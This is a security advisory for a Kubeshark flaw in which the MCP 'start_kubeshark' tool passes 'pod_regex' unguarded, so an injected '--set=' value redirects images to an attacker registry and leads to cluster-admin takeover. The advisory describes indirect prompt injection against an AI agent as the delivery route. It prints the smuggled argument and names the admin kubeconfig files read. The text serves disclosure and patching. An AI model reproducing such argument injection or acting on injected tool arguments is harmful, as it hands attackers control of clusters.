# GHSA-8VF2-HXG5-CRQH: Kubeshark: MCP start\_kubeshark argument injection via pod\_regex → image redirect → cluster takeover

- Database: GitHub
- Severity: high (stated by ghsa, no CVSS score)
- Published: 2026-11-16
- Modified: 2026-11-16

## Tracked as

- [CVE-2026-129236](https://cve.now/CVE-2026-129236.md): Kubeshark cluster takeover via argument injection in MCP tool

## Affected versions

- github.com/kubeshark/kubeshark (Go): from 0.0.2-0.20260206182249-0bbbb473ea3f, fixed in 0.0.2-0.20260812200004-a76a1920dc75

## Description

**Ecosystem / package:** Go — `github.com/kubeshark/kubeshark` (the `kubeshark`
CLI, `kubeshark mcp` subcommand)
**Affected component:** `cmd/mcpRunner.go`, MCP tool `start_kubeshark`
**Affected versions:** `>= v53.1.0`, `< v53.4.0` (the flaw shipped with the MCP
command's first release; v53.3.0 was the last affected release)
**Patched version:** `v53.4.0`
**Credit:** novice-22 (Urim), via private coordinated disclosure.

## Summary
The `start_kubeshark` MCP tool builds a `kubeshark tap` command by appending the
caller-supplied `pod_regex` as a bare positional argument, with no `--`
end-of-options separator. Because `tap` is a cobra command, a `pod_regex` that
begins with `-`/`--set=` is parsed as a **flag**, not as the pod regex. An
attacker who can influence the tool arguments (e.g. indirect prompt injection
against an agent driving `kubeshark mcp --allow-destructive`) can inject
arbitrary `--set` Helm value overrides — notably `tap.docker.registry` /
`tap.docker.tag` — redirecting the deployed worker/hub/front images to an
attacker-controlled registry. The worker DaemonSet runs privileged with
`hostNetwork` and the host filesystem mounted, so an attacker image yields node
and cluster-admin compromise.

## Introduced in
Commit `0bbbb473` — "[1] Add MCP (Model Context Protocol) server command
(#1832)", 2026-02-06 — first released in **v53.1.0** (`v53.1.0~23`). The
`pod_regex` argument has been appended as a bare positional since the tool's
introduction; there is no regression window, every MCP-capable release is
affected.

## Details
In `callStartKubeshark` (`cmd/mcpRunner.go`), the command was built as
`["tap", <pod_regex>, "-n", …, "--set", …, "--set", "headless=true"]` with
`pod_regex` inserted as a raw element. cobra parses flags positionally-agnostic
and there was no `--` guard, so `pod_regex="--set=tap.docker.registry=…,tap.docker.tag=…"`
became a real `--set`. The tool is only registered when
`kubeshark mcp --allow-destructive` is set.

## Proof of concept (reporter, abridged)
Driving `kubeshark mcp --allow-destructive`: `start_kubeshark` with
`pod_regex="--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>"` caused
the CLI to construct `kubeshark tap --set=… --set headless=true`, deploying an
attacker image. The image ran as root inside the privileged worker container and
read the host's cluster-admin kubeconfigs
(`/etc/kubernetes/super-admin.conf`, `admin.conf`, `pki/`) — i.e. cluster-admin
takeover from a single `pod_regex` value.

## Impact
Full Kubernetes cluster compromise (cluster-admin) from a single injected tool
argument, when the operator runs the MCP server with `--allow-destructive`.

## Severity rationale
Kubeshark scores this **7.2 High**, down from the reporter's 8.3, on two metrics. The
impact half of the vector (`S:C/C:H/I:H/A:H`) is unchanged — cluster-admin
takeover is real and Kubeshark does not contest it.

- **`AV:N` → `AV:L`.** `kubeshark mcp` is a local stdio MCP server with no
  network listener. The attacker's payload reaches it as content an agent
  running on that host ingested and replayed into a local tool call. The
  poisoned content may have travelled over a network, but the exploited
  interface is local.
- **`PR:N` → `PR:H`.** Two administrative preconditions must already hold on the
  target host: the operator must have started the MCP server with the explicit,
  non-default `--allow-destructive` flag (without it `start_kubeshark` is not
  registered at all), and that host must already hold a kubeconfig with
  permission to deploy the privileged Kubeshark DaemonSet. The attacker is
  borrowing an existing high-privilege context, not gaining one.

Kubeshark kept **`AC:H`** (the injection must land in content the agent ingests, and
the attacker must stand up a malicious registry/image), **`UI:R`** (an operator
must be actively driving the agent), and **`S:C`** (the compromise crosses from
the CLI's authorization scope into the Kubernetes cluster — this is what keeps
the score in the High band).

## Patches
Fixed in **v53.4.0** by commit
[`a76a1920`](https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214)
(PR [#1957](https://github.com/kubeshark/kubeshark/pull/1957)).

In `cmd/mcpRunner.go`: `pod_regex` is now appended **last**, after a
literal `--` end-of-options separator, so it is always parsed as the
`[POD REGEX]` positional and can never be interpreted as a flag. (`namespaces` /
`release_namespace` are passed through `-n` / `-s` value flags, which consume
their value token and are therefore not injectable.)

## Workarounds
- Do not run `kubeshark mcp` with `--allow-destructive` unless required.
- Do not expose the MCP server to untrusted content / untrusted agent inputs.
- Restrict the kubeconfig/permissions available to the machine running the MCP
  server.

## References

- https://github.com/kubeshark/kubeshark/security/advisories/GHSA-8vf2-hxg5-crqh
- https://nvd.nist.gov/vuln/detail/CVE-2026-129236
- https://github.com/kubeshark/kubeshark/pull/1957
- https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214
- https://github.com/kubeshark/kubeshark
- https://github.com/kubeshark/kubeshark/releases/tag/v53.4.0

Page: https://cve.now/GHSA-8VF2-HXG5-CRQH
